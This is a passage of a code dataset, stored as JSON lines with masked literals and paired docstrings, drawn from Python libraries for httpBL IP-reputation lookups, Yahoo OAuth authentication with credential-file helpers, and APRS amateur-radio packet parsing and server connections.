cache.caches[self._cache_backend]<EOL>try:<EOL><INDENT>self._cache_version = int(self._cache.get('<STR_LIT>'.format(self._api_key)))<EOL><DEDENT>except TypeError:<EOL><INDENT>self._cache.set('<STR_LIT>'.format(self._api_key), str(<NUM_LIT:1>))<EOL><DEDENT><DEDENT>except cache.InvalidCacheBackendError:<EOL><INDENT>raise ImproperlyConfigured('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Instantiate the CachedHTTPBL object.\n\n:param kwargs: optional parameters\n:return:", "id": "f12468:c0:m0"}
{"signature": "def check_ip(self, ip):", "body": "self._last_result = None<EOL>if is_valid_ipv4(ip):<EOL><INDENT>key = None<EOL>if self._use_cache:<EOL><INDENT>key = self._make_cache_key(ip)<EOL>self._last_result = self._cache.get(key, version=self._cache_version)<EOL><DEDENT>if self._last_result is None:<EOL><INDENT>error, age, threat, type = self._request_httpbl(ip)<EOL>if error == <NUM_LIT> or error == <NUM_LIT:0>:<EOL><INDENT>self._last_result = {<EOL>'<STR_LIT:error>': error,<EOL>'<STR_LIT>': age,<EOL>'<STR_LIT>': threat,<EOL>'<STR_LIT:type>': type<EOL>}<EOL>if self._use_cache:<EOL><INDENT>self._cache.set(key, self._last_result, timeout=self._api_timeout, version=self._cache_version)<EOL><DEDENT><DEDENT><DEDENT>if self._last_result is not None and settings.CACHED_HTTPBL_USE_LOGGING:<EOL><INDENT>logger.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(ip,<EOL>self._last_result['<STR_LIT:error>'],<EOL>self._last_result['<STR_LIT>'],<EOL>self._last_result['<STR_LIT>'],<EOL>self._last_result['<STR_LIT:type>']<EOL>)<EOL>)<EOL><DEDENT><DEDENT>return self._last_result<EOL>", "docstring": "Check IP trough the httpBL API\n\n:param ip: ipv4 ip address\n:return: httpBL results or None if any error is occurred", "id": "f12468:c0:m3"}
{"signature": "def is_threat(self, result=None, harmless_age=None, threat_score=None, threat_type=None):", "body": "harmless_age = harmless_age if harmless_age is not None else settings.CACHED_HTTPBL_HARMLESS_AGE<EOL>threat_score = threat_score if threat_score is not None else settings.CACHED_HTTPBL_THREAT_SCORE<EOL>threat_type = threat_type if threat_type is not None else -<NUM_LIT:1><EOL>result = result if result is not None else self._last_result<EOL>threat = False<EOL>if result is not None:<EOL><INDENT>if result['<STR_LIT>'] < harmless_age and result['<STR_LIT>'] > threat_score:<EOL><INDENT>threat = True<EOL><DEDENT>if threat_type > -<NUM_LIT:1>:<EOL><INDENT>if result['<STR_LIT:type>'] & threat_type:<EOL><INDENT>threat = True<EOL><DEDENT>else:<EOL><INDENT>threat = False<EOL><DEDENT><DEDENT><DEDENT>return threat<EOL>", "docstring": "Check if IP is a threat\n\n:param result: httpBL results; if None, then results from last check_ip() used (optional)\n:param harmless_age: harmless age for check if httpBL age is older (optional)\n:param threat_score: threat score for check if httpBL threat is lower (optional)\n:param threat_type:  threat type, if not equal httpBL score type, then return False (optional)\n:return: True or False", "id": "f12468:c0:m4"}
{"signature": "def is_suspicious(self, result=None):", "body": "result = result if result is not None else self._last_result<EOL>suspicious = False<EOL>if result is not None:<EOL><INDENT>suspicious = True if result['<STR_LIT:type>'] > <NUM_LIT:0> else False<EOL><DEDENT>return suspicious<EOL>", "docstring": "Check if IP is suspicious\n\n:param result: httpBL results; if None, then results from last check_ip() used (optional)\n:return: True or False", "id": "f12468:c0:m5"}
{"signature": "def invalidate_ip(self, ip):", "body": "if self._use_cache:<EOL><INDENT>key = self._make_cache_key(ip)<EOL>self._cache.delete(key, version=self._cache_version)<EOL><DEDENT>", "docstring": "Invalidate httpBL cache for IP address\n\n:param ip: ipv4 IP address", "id": "f12468:c0:m6"}
{"signature": "def invalidate_cache(self):", "body": "if self._use_cache:<EOL><INDENT>self._cache_version += <NUM_LIT:1><EOL>self._cache.increment('<STR_LIT>'.format(self._api_key))<EOL><DEDENT>", "docstring": "Invalidate httpBL cache", "id": "f12468:c0:m7"}
{"signature": "def cached_httpbl_exempt(view_func):", "body": "<EOL>def wrapped_view(*args, **kwargs):<EOL><INDENT>return view_func(*args, **kwargs)<EOL><DEDENT>wrapped_view.cached_httpbl_exempt = True<EOL>return wraps(view_func, assigned=available_attrs(view_func))(wrapped_view)<EOL>", "docstring": "Marks a view function as being exempt from the cached httpbl view protection.", "id": "f12469:m0"}
{"signature": "def __init__(self, oauth_version, consumer_key, consumer_secret, **kwargs):", "body": "self.oauth_version = oauth_version<EOL>data = {}<EOL>if kwargs.get('<STR_LIT>'):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.from_file = kwargs.get('<STR_LIT>')<EOL>data = get_data(self.from_file)<EOL>vars(self).update(data)<EOL><DEDENT>else:<EOL><INDENT>self.consumer_key = consumer_key<EOL>self.consumer_secret = consumer_secret<EOL><DEDENT>vars(self).update(kwargs)<EOL>self.oauth_version = oauth_version<EOL>self.callback_uri = vars(self).get('<STR_LIT>',CALLBACK_URI)<EOL>if self.oauth_version == '<STR_LIT>':<EOL><INDENT>service_params = {<EOL>'<STR_LIT>': self.consumer_key,<EOL>'<STR_LIT>' : self.consumer_secret,<EOL>'<STR_LIT>': services[self.oauth_version]['<STR_LIT>']<EOL>}<EOL><DEDENT>else:<EOL><INDENT>service_params = {<EOL>'<STR_LIT>': self.consumer_key,<EOL>'<STR_LIT>': self.consumer_secret<EOL>}<EOL><DEDENT>service_params.update({<EOL>'<STR_LIT:name>' : '<STR_LIT>',<EOL>'<STR_LIT>' : services[self.oauth_version]['<STR_LIT>'],<EOL>'<STR_LIT>' : services[self.oauth_version]['<STR_LIT>'],<EOL>'<STR_LIT>': vars(self).get('<STR_LIT>',None)<EOL>})<EOL>self.oauth = services[oauth_version]['<STR_LIT>'](**service_params)<EOL>if vars(self).get('<STR_LIT>') and vars(self).get('<STR_LIT>') and vars(self).get('<STR_LIT>'):<EOL><INDENT>if not self.token_is_valid():<EOL><INDENT>data.update(self.refresh_access_token())<EOL><DEDENT><DEDENT>elif vars(self).get('<STR_LIT>') and vars(self).get('<STR_LIT>') and vars(self).get('<STR_LIT>'):<EOL><INDENT>if not self.token_is_valid():<EOL><INDENT>data.update(self.refresh_access_token())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>data.update(self.handler()) <EOL><DEDENT>if self.oauth_version == '<STR_LIT>':<EOL><INDENT>self.session = self.oauth.get_session((self.access_token, self.access_token_secret))<EOL><DEDENT>else:<EOL><INDENT>self.session = self.oauth.get_session(token=self.access_token)<EOL><DEDENT>write_data(data, vars(self).get('<STR_LIT>','<STR_LIT>'))<EOL>", "docstring": "consumer_key : client key\nconsumer_secret : client secret\naccess_token : access token\naccess_token_secret : access token secret\nfrom_file : file containing the credentials\nbase_url : Base url", "id": "f12475:c0:m0"}
{"signature": "def handler(self,):", "body": "if self.oauth_version == '<STR_LIT>':<EOL><INDENT>request_token, request_token_secret = self.oauth.get_request_token(params={'<STR_LIT>': self.callback_uri})<EOL>logger.debug(\"<STR_LIT>\".format(request_token, request_token_secret))<EOL>authorize_url = self.oauth.get_authorize_url(request_token)<EOL><DEDENT>else:<EOL><INDENT>authorize_url = self.oauth.get_authorize_url(client_secret=self.consumer_secret, redirect_uri=self.callback_uri, response_type='<STR_LIT:code>')<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(authorize_url))<EOL>webbrowser.open(authorize_url)<EOL>self.verifier = input(\"<STR_LIT>\")<EOL>self.token_time = time.time()<EOL>credentials = {'<STR_LIT>': self.token_time}<EOL>if self.oauth_version == '<STR_LIT>':<EOL><INDENT>raw_access = self.oauth.get_raw_access_token(request_token, request_token_secret, params={\"<STR_LIT>\": self.verifier})<EOL>parsed_access = parse_utf8_qsl(raw_access.content)<EOL>self.access_token = parsed_access['<STR_LIT>']<EOL>self.access_token_secret = parsed_access['<STR_LIT>']<EOL>self.session_handle = parsed_access['<STR_LIT>']<EOL>self.guid = parsed_access['<STR_LIT>']<EOL>credentials.update({<EOL>'<STR_LIT>': self.access_token,<EOL>'<STR_LIT>': self.access_token_secret,<EOL>'<STR_LIT>': self.session_handle,<EOL>'<STR_LIT>': self.guid<EOL>})<EOL><DEDENT>else:<EOL><INDENT>headers = self.generate_oauth2_headers()<EOL>raw_access = self.oauth.get_raw_access_token(data={\"<STR_LIT:code>\": self.verifier, '<STR_LIT>': self.callback_uri,'<STR_LIT>':'<STR_LIT>'}, headers=headers)<EOL>credentials.update(self.oauth2_access_parser(raw_access))<EOL><DEDENT>return credentials<EOL>", "docstring": "* get request token if OAuth1\n            * Get user authorization\n            * Get access token", "id": "f12475:c0:m1"}
{"signature": "def generate_oauth2_headers(self):", "body": "encoded_credentials = base64.b64encode(('<STR_LIT>'.format(self.consumer_key,self.consumer_secret)).encode('<STR_LIT:utf-8>'))<EOL>headers={<EOL>'<STR_LIT>':'<STR_LIT>'.format(encoded_credentials.decode('<STR_LIT:utf-8>')),<EOL>'<STR_LIT:Content-Type>': '<STR_LIT>'<EOL>}<EOL>return headers<EOL>", "docstring": "Generates header for oauth2", "id": "f12475:c0:m2"}
{"signature": "def oauth2_access_parser(self, raw_access):", "body": "parsed_access = json.loads(raw_access.content.decode('<STR_LIT:utf-8>'))<EOL>self.access_token = parsed_access['<STR_LIT>']<EOL>self.token_type = parsed_access['<STR_LIT>']<EOL>self.refresh_token = parsed_access['<STR_LIT>']<EOL>self.guid = parsed_access['<STR_LIT>']<EOL>credentials = {<EOL>'<STR_LIT>': self.access_token,<EOL>'<STR_LIT>': self.token_type,<EOL>'<STR_LIT>': self.refresh_token,<EOL>'<STR_LIT>': self.guid<EOL>}<EOL>return credentials<EOL>", "docstring": "Parse oauth2 access", "id": "f12475:c0:m3"}
{"signature": "def refresh_access_token(self,):", "body": "logger.debug(\"<STR_LIT>\")<EOL>self.token_time = time.time()<EOL>credentials = {<EOL>'<STR_LIT>': self.token_time<EOL>}<EOL>if self.oauth_version == '<STR_LIT>':<EOL><INDENT>self.access_token, self.access_token_secret = self.oauth.get_access_token(self.access_token, self.access_token_secret, params={\"<STR_LIT>\": self.session_handle})<EOL>credentials.update({<EOL>'<STR_LIT>': self.access_token,<EOL>'<STR_LIT>': self.access_token_secret,<EOL>'<STR_LIT>': self.session_handle,<EOL>'<STR_LIT>': self.token_time<EOL>})<EOL><DEDENT>else:<EOL><INDENT>headers = self.generate_oauth2_headers()<EOL>raw_access = self.oauth.get_raw_access_token(data={\"<STR_LIT>\": self.refresh_token, '<STR_LIT>': self.callback_uri,'<STR_LIT>':'<STR_LIT>'}, headers=headers)<EOL>credentials.update(self.oauth2_access_parser(raw_access))            <EOL><DEDENT>return credentials<EOL>", "docstring": "Refresh access token", "id": "f12475:c0:m4"}
{"signature": "def token_is_valid(self,):", "body": "elapsed_time = time.time() - self.token_time<EOL>logger.debug(\"<STR_LIT>\".format(elapsed_time))<EOL>if elapsed_time > <NUM_LIT>: <EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>return True<EOL>", "docstring": "Check the validity of the token :3600s", "id": "f12475:c0:m5"}
{"signature": "def get_data(filename):", "body": "name, ext = get_file_extension(filename)<EOL>func = json_get_data if ext == '<STR_LIT>' else yaml_get_data<EOL>return func(filename)<EOL>", "docstring": "Calls right function according to file extension", "id": "f12477:m1"}
{"signature": "def write_data(data, filename):", "body": "name, ext = get_file_extension(filename)<EOL>func = json_write_data if ext == '<STR_LIT>' else yaml_write_data<EOL>return func(data, filename)<EOL>", "docstring": "Call right func to save data according to file extension", "id": "f12477:m2"}
{"signature": "def json_write_data(json_data, filename):", "body": "with open(filename, '<STR_LIT:w>') as fp:<EOL><INDENT>json.dump(json_data, fp, indent=<NUM_LIT:4>, sort_keys=True, ensure_ascii=False)<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "Write json data into a file", "id": "f12477:m3"}
{"signature": "def json_get_data(filename):", "body": "with open(filename) as fp:<EOL><INDENT>json_data = json.load(fp)<EOL>return json_data<EOL><DEDENT>return False<EOL>", "docstring": "Get data from json file", "id": "f12477:m4"}
{"signature": "def yaml_get_data(filename):", "body": "with open(filename, '<STR_LIT:rb>') as fd:<EOL><INDENT>yaml_data = yaml.load(fd)<EOL>return yaml_data<EOL><DEDENT>return False<EOL>", "docstring": "Get data from .yml file", "id": "f12477:m5"}
{"signature": "def yaml_write_data(yaml_data, filename):", "body": "with open(filename, '<STR_LIT:w>') as fd:<EOL><INDENT>yaml.dump(yaml_data, fd, default_flow_style=False)<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "Write data into a .yml file", "id": "f12477:m6"}
{"signature": "def __init__(self, name, level=logging.DEBUG):", "body": "super(YahooLogger, self).__init__(name)<EOL>self.name = name<EOL>self.level = level<EOL>self.setLevel(self.level)<EOL>formatter = logging.Formatter(\"<STR_LIT>\")<EOL>stream_handler = logging.StreamHandler()<EOL>stream_handler.setFormatter(formatter)<EOL>self.addHandler(stream_handler)<EOL>", "docstring": "- name : logger name\n- filename : file containing logs", "id": "f12478:c0:m0"}
{"signature": "def passcode(callsign):", "body": "assert isinstance(callsign, str)<EOL>callsign = callsign.split('<STR_LIT:->')[<NUM_LIT:0>].upper()<EOL>code = <NUM_LIT><EOL>for i, char in enumerate(callsign):<EOL><INDENT>code ^= ord(char) << (<NUM_LIT:8> if not i % <NUM_LIT:2> else <NUM_LIT:0>)<EOL><DEDENT>return code & <NUM_LIT><EOL>", "docstring": "Takes a CALLSIGN and returns passcode", "id": "f12491:m0"}
{"signature": "def parse_header(head):", "body": "try:<EOL><INDENT>(fromcall, path) = head.split('<STR_LIT:>>', <NUM_LIT:1>)<EOL><DEDENT>except:<EOL><INDENT>raise ParseError(\"<STR_LIT>\")<EOL><DEDENT>if (not <NUM_LIT:1> <= len(fromcall) <= <NUM_LIT:9> or<EOL>not re.findall(r\"<STR_LIT>\", fromcall, re.I)):<EOL><INDENT>raise ParseError(\"<STR_LIT>\")<EOL><DEDENT>path = path.split('<STR_LIT:U+002C>')<EOL>if len(path[<NUM_LIT:0>]) == <NUM_LIT:0>:<EOL><INDENT>raise ParseError(\"<STR_LIT>\")<EOL><DEDENT>tocall = path[<NUM_LIT:0>]<EOL>path = path[<NUM_LIT:1>:]<EOL>validate_callsign(tocall, \"<STR_LIT>\")<EOL>for digi in path:<EOL><INDENT>if not re.findall(r\"<STR_LIT>\", digi, re.I):<EOL><INDENT>raise ParseError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>parsed = {<EOL>'<STR_LIT>': fromcall,<EOL>'<STR_LIT:to>': tocall,<EOL>'<STR_LIT:path>': path,<EOL>}<EOL>viacall = \"<STR_LIT>\"<EOL>if len(path) >= <NUM_LIT:2> and re.match(r\"<STR_LIT>\", path[-<NUM_LIT:2>]):<EOL><INDENT>viacall = path[-<NUM_LIT:1>]<EOL><DEDENT>parsed.update({'<STR_LIT>': viacall})<EOL>return parsed<EOL>", "docstring": "Parses the header part of packet\nReturns a dict", "id": "f12495:m1"}
{"signature": "def parse(packet):", "body": "if not isinstance(packet, string_type_parse):<EOL><INDENT>raise TypeError(\"<STR_LIT>\", type(packet))<EOL><DEDENT>if len(packet) == <NUM_LIT:0>:<EOL><INDENT>raise ParseError(\"<STR_LIT>\", packet)<EOL><DEDENT>if isinstance(packet, bytes):<EOL><INDENT>packet = _unicode_packet(packet)<EOL><DEDENT>packet = packet.rstrip(\"<STR_LIT:\\r\\n>\")<EOL>logger.debug(\"<STR_LIT>\", packet)<EOL>try:<EOL><INDENT>(head, body) = packet.split('<STR_LIT::>', <NUM_LIT:1>)<EOL><DEDENT>except:<EOL><INDENT>raise ParseError(\"<STR_LIT>\", packet)<EOL><DEDENT>if len(body) == <NUM_LIT:0>:<EOL><INDENT>raise ParseError(\"<STR_LIT>\", packet)<EOL><DEDENT>parsed = {<EOL>'<STR_LIT>': packet,<EOL>}<EOL>try:<EOL><INDENT>parsed.update(parse_header(head))<EOL><DEDENT>except ParseError as msg:<EOL><INDENT>raise ParseError(str(msg), packet)<EOL><DEDENT>packet_type = body[<NUM_LIT:0>]<EOL>body = body[<NUM_LIT:1>:]<EOL>if len(body) == <NUM_LIT:0> and packet_type != '<STR_LIT:>>':<EOL><INDENT>raise ParseError(\"<STR_LIT>\", packet)<EOL><DEDENT>try:<EOL><INDENT>_try_toparse_body(packet_type, body, parsed)<EOL><DEDENT>except (UnknownFormat, ParseError) as exp:<EOL><INDENT>exp.packet = packet<EOL>raise<EOL><DEDENT>if '<STR_LIT>' not in parsed:<EOL><INDENT>if not re.match(r\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", parsed['<STR_LIT:to>']):<EOL><INDENT>raise UnknownFormat(\"<STR_LIT>\", packet)<EOL><DEDENT>parsed.update({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:text>': packet_type + body,<EOL>})<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>return parsed<EOL>", "docstring": "Parses an APRS packet and returns a dict with decoded data\n\n- All attributes are in metric units", "id": "f12496:m1"}
{"signature": "def parse_comment_telemetry(text):", "body": "parsed = {}<EOL>match = re.findall(r\"<STR_LIT>\", text)<EOL>if match and len(match[<NUM_LIT:0>][<NUM_LIT:1>]) % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>text, telemetry, post = match[<NUM_LIT:0>]<EOL>text += post<EOL>temp = [<NUM_LIT:0>] * <NUM_LIT:7><EOL>for i in range(<NUM_LIT:7>):<EOL><INDENT>temp[i] = base91.to_decimal(telemetry[i*<NUM_LIT:2>:i*<NUM_LIT:2>+<NUM_LIT:2>])<EOL><DEDENT>parsed.update({<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': temp[<NUM_LIT:0>],<EOL>'<STR_LIT>': temp[<NUM_LIT:1>:<NUM_LIT:6>]<EOL>}<EOL>})<EOL>if temp[<NUM_LIT:6>] != '<STR_LIT>':<EOL><INDENT>parsed['<STR_LIT>'].update({<EOL>'<STR_LIT>': \"<STR_LIT>\".format(temp[<NUM_LIT:6>] & <NUM_LIT>)[::-<NUM_LIT:1>]<EOL>})<EOL><DEDENT><DEDENT>return (text, parsed)<EOL>", "docstring": "Looks for base91 telemetry found in comment field\nReturns [remaining_text, telemetry]", "id": "f12498:m0"}
{"signature": "def __init__(self, callsign, passwd=\"<STR_LIT>\", host=\"<STR_LIT>\", port=<NUM_LIT>, skip_login=False):", "body": "self.logger = logging.getLogger(\"<STR_LIT>\" % (__name__, self.__class__.__name__))<EOL>self._parse = parse<EOL>self.set_server(host, port)<EOL>self.set_login(callsign, passwd, skip_login)<EOL>self.sock = None<EOL>self.filter = \"<STR_LIT>\"  <EOL>self._connected = False<EOL>self.buf = b'<STR_LIT>'<EOL>", "docstring": "callsign        - used when login in\npasswd          - for verification, or \"-1\" if only listening\nHost & port     - aprs-is server", "id": "f12502:c0:m0"}
{"signature": "def set_filter(self, filter_text):", "body": "self.filter = filter_text<EOL>self.logger.info(\"<STR_LIT>\", self.filter)<EOL>if self._connected:<EOL><INDENT>self._sendall(\"<STR_LIT>\" % self.filter)<EOL><DEDENT>", "docstring": "Set a specified aprs-is filter for this connection", "id": "f12502:c0:m2"}
{"signature": "def set_login(self, callsign, passwd=\"<STR_LIT>\", skip_login=False):", "body": "self.__dict__.update(locals())<EOL>", "docstring": "Set callsign and password", "id": "f12502:c0:m3"}
{"signature": "def set_server(self, host, port):", "body": "self.server = (host, port)<EOL>", "docstring": "Set server ip/host and port to use", "id": "f12502:c0:m4"}
{"signature": "def connect(self, blocking=False, retry=<NUM_LIT:30>):", "body": "if self._connected:<EOL><INDENT>return<EOL><DEDENT>while True:<EOL><INDENT>try:<EOL><INDENT>self._connect()<EOL>if not self.skip_login:<EOL><INDENT>self._send_login()<EOL><DEDENT>break<EOL><DEDENT>except (LoginError, ConnectionError):<EOL><INDENT>if not blocking:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>self.logger.info(\"<STR_LIT>\" % retry)<EOL>time.sleep(retry)<EOL><DEDENT>", "docstring": "Initiate connection to APRS server and attempt to login\n\nblocking = False     - Should we block until connected and logged-in\nretry = 30           - Retry interval in seconds", "id": "f12502:c0:m5"}
{"signature": "def close(self):", "body": "self._connected = False<EOL>self.buf = b'<STR_LIT>'<EOL>if self.sock is not None:<EOL><INDENT>self.sock.close()<EOL><DEDENT>", "docstring": "Closes the socket\nCalled internally when Exceptions are raised", "id": "f12502:c0:m6"}
{"signature": "def sendall(self, line):", "body": "if isinstance(line, APRSPacket):<EOL><INDENT>line = str(line)<EOL><DEDENT>elif not isinstance(line, string_type):<EOL><INDENT>raise TypeError(\"<STR_LIT>\", type(line))<EOL><DEDENT>if not self._connected:<EOL><INDENT>raise ConnectionError(\"<STR_LIT>\")<EOL><DEDENT>if line == \"<STR_LIT>\":<EOL><INDENT>return<EOL><DEDENT>line = line.rstrip(\"<STR_LIT:\\r\\n>\") + \"<STR_LIT:\\r\\n>\"<EOL>try:<EOL><INDENT>self.sock.setblocking(<NUM_LIT:1>)<EOL>self.sock.settimeout(<NUM_LIT:5>)<EOL>self._sendall(line)<EOL><DEDENT>except socket.error as exp:<EOL><INDENT>self.close()<EOL>raise ConnectionError(str(exp))<EOL><DEDENT>", "docstring": "Send a line, or multiple lines sperapted by '\\\\r\\\\n'", "id": "f12502:c0:m7"}
{"signature": "def consumer(self, callback, blocking=True, immortal=False, raw=False):", "body": "if not self._connected:<EOL><INDENT>raise ConnectionError(\"<STR_LIT>\")<EOL><DEDENT>line = b'<STR_LIT>'<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>for line in self._socket_readlines(blocking):<EOL><INDENT>if line[<NUM_LIT:0>:<NUM_LIT:1>] != b'<STR_LIT:#>':<EOL><INDENT>if raw:<EOL><INDENT>callback(line)<EOL><DEDENT>else:<EOL><INDENT>callback(self._parse(line))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\", line.decode('<STR_LIT:utf8>'))<EOL><DEDENT><DEDENT><DEDENT>except ParseError as exp:<EOL><INDENT>self.logger.log(<NUM_LIT:11>, \"<STR_LIT>\", exp.message, exp.packet)<EOL><DEDENT>except UnknownFormat as exp:<EOL><INDENT>self.logger.log(<NUM_LIT:9>, \"<STR_LIT>\", exp.message, exp.packet)<EOL><DEDENT>except LoginError as exp:<EOL><INDENT>self.logger.error(\"<STR_LIT>\", exp.__class__.__name__, exp.message)<EOL><DEDENT>except (KeyboardInterrupt, SystemExit):<EOL><INDENT>raise<EOL><DEDENT>except (ConnectionDrop, ConnectionError):<EOL><INDENT>self.close()<EOL>if not immortal:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>self.connect(blocking=blocking)<EOL>continue<EOL><DEDENT><DEDENT>except GenericError:<EOL><INDENT>pass<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>except:<EOL><INDENT>self.logger.error(\"<STR_LIT>\", line)<EOL>raise<EOL><DEDENT>if not blocking:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "When a position sentence is received, it will be passed to the callback function\n\nblocking: if true (default), runs forever, otherwise will return after one sentence\n          You can still exit the loop, by raising StopIteration in the callback function\n\nimmortal: When true, consumer will try to reconnect and stop propagation of Parse exceptions\n          if false (default), consumer will return\n\nraw: when true, raw packet is passed to callback, otherwise the result from aprs.parse()", "id": "f12502:c0:m8"}
{"signature": "def _open_socket(self):", "body": "self.sock = socket.create_connection(self.server, <NUM_LIT:15>)<EOL>", "docstring": "Creates a socket", "id": "f12502:c0:m9"}
{"signature": "def _connect(self):", "body": "self.logger.info(\"<STR_LIT>\", self.server[<NUM_LIT:0>], self.server[<NUM_LIT:1>])<EOL>try:<EOL><INDENT>self._open_socket()<EOL>peer = self.sock.getpeername()<EOL>self.logger.info(\"<STR_LIT>\", str(peer))<EOL>self.sock.setblocking(<NUM_LIT:1>)<EOL>self.sock.settimeout(<NUM_LIT:5>)<EOL>self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, <NUM_LIT:1>)<EOL>banner = self.sock.recv(<NUM_LIT>)<EOL>if is_py3:<EOL><INDENT>banner = banner.decode('<STR_LIT>')<EOL><DEDENT>if banner[<NUM_LIT:0>] == \"<STR_LIT:#>\":<EOL><INDENT>self.logger.debug(\"<STR_LIT>\", banner.rstrip())<EOL><DEDENT>else:<EOL><INDENT>raise ConnectionError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except ConnectionError as e:<EOL><INDENT>self.logger.error(str(e))<EOL>self.close()<EOL>raise<EOL><DEDENT>except (socket.error, socket.timeout) as e:<EOL><INDENT>self.close()<EOL>self.logger.error(\"<STR_LIT>\" % str(e))<EOL>if str(e) == \"<STR_LIT>\":<EOL><INDENT>raise ConnectionError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise ConnectionError(e)<EOL><DEDENT><DEDENT>self._connected = True<EOL>", "docstring": "Attemps connection to the server", "id": "f12502:c0:m10"}
{"signature": "def _send_login(self):", "body": "login_str = \"<STR_LIT>\"<EOL>login_str = login_str.format(<EOL>self.callsign,<EOL>self.passwd,<EOL>(\"<STR_LIT>\" + self.filter) if self.filter != \"<STR_LIT>\" else \"<STR_LIT>\",<EOL>__version__<EOL>)<EOL>self.logger.info(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>self._sendall(login_str)<EOL>self.sock.settimeout(<NUM_LIT:5>)<EOL>test = self.sock.recv(len(login_str) + <NUM_LIT:100>)<EOL>if is_py3:<EOL><INDENT>test = test.decode('<STR_LIT>')<EOL><DEDENT>test = test.rstrip()<EOL>self.logger.debug(\"<STR_LIT>\", test)<EOL>_, _, callsign, status, _ = test.split('<STR_LIT:U+0020>', <NUM_LIT:4>)<EOL>if callsign == \"<STR_LIT>\":<EOL><INDENT>raise LoginError(\"<STR_LIT>\")<EOL><DEDENT>if callsign != self.callsign:<EOL><INDENT>raise LoginError(\"<STR_LIT>\" % test)<EOL><DEDENT>if status != \"<STR_LIT>\" and self.passwd != \"<STR_LIT>\":<EOL><INDENT>raise LoginError(\"<STR_LIT>\")<EOL><DEDENT>if self.passwd == \"<STR_LIT>\":<EOL><INDENT>self.logger.info(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.logger.info(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except LoginError as e:<EOL><INDENT>self.logger.error(str(e))<EOL>self.close()<EOL>raise<EOL><DEDENT>except:<EOL><INDENT>self.close()<EOL>self.logger.error(\"<STR_LIT>\")<EOL>raise LoginError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Sends login string to server", "id": "f12502:c0:m11"}
{"signature": "def _socket_readlines(self, blocking=False):", "body": "try:<EOL><INDENT>self.sock.setblocking(<NUM_LIT:0>)<EOL><DEDENT>except socket.error as e:<EOL><INDENT>self.logger.error(\"<STR_LIT>\" % str(e))<EOL>raise ConnectionDrop(\"<STR_LIT>\")<EOL><DEDENT>while True:<EOL><INDENT>short_buf = b'<STR_LIT>'<EOL>newline = b'<STR_LIT:\\r\\n>'<EOL>select.select([self.sock], [], [], None if blocking else <NUM_LIT:0>)<EOL>try:<EOL><INDENT>short_buf = self.sock.recv(<NUM_LIT>)<EOL>if not short_buf:<EOL><INDENT>self.logger.error(\"<STR_LIT>\")<EOL>raise ConnectionDrop(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except socket.error as e:<EOL><INDENT>self.logger.error(\"<STR_LIT>\" % str(e))<EOL>if \"<STR_LIT>\" in str(e):<EOL><INDENT>if not blocking:<EOL><INDENT>if len(self.buf) == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>self.buf += short_buf<EOL>while newline in self.buf:<EOL><INDENT>line, self.buf = self.buf.split(newline, <NUM_LIT:1>)<EOL>yield line<EOL><DEDENT><DEDENT>", "docstring": "Generator for complete lines, received from the server", "id": "f12502:c0:m12"}
{"signature": "def to_decimal(text):", "body": "if not isinstance(text, string_type):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % type(text))<EOL><DEDENT>if findall(r\"<STR_LIT>\", text):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>text = text.lstrip('<STR_LIT:!>')<EOL>decimal = <NUM_LIT:0><EOL>length = len(text) - <NUM_LIT:1><EOL>for i, char in enumerate(text):<EOL><INDENT>decimal += (ord(char) - <NUM_LIT>) * (<NUM_LIT> ** (length - i))<EOL><DEDENT>return decimal if text != '<STR_LIT>' else <NUM_LIT:0><EOL>", "docstring": "Takes a base91 char string and returns decimal", "id": "f12504:m0"}
{"signature": "def from_decimal(number, width=<NUM_LIT:1>):", "body": "text = []<EOL>if not isinstance(number, int_type):<EOL><INDENT>raise TypeError(\"<STR_LIT>\", type(number))<EOL><DEDENT>elif not isinstance(width, int_type):<EOL><INDENT>raise TypeError(\"<STR_LIT>\", type(number))<EOL><DEDENT>elif number < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>elif number > <NUM_LIT:0>:<EOL><INDENT>max_n = ceil(log(number) / log(<NUM_LIT>))<EOL>for n in _range(int(max_n), -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>quotient, number = divmod(number, <NUM_LIT>**n)<EOL>text.append(chr(<NUM_LIT> + quotient))<EOL><DEDENT><DEDENT>return \"<STR_LIT>\".join(text).lstrip('<STR_LIT:!>').rjust(max(<NUM_LIT:1>, width), '<STR_LIT:!>')<EOL>", "docstring": "Takes a decimal and returns base91 char string.\nWith optional parameter for fix with output", "id": "f12504:m1"}
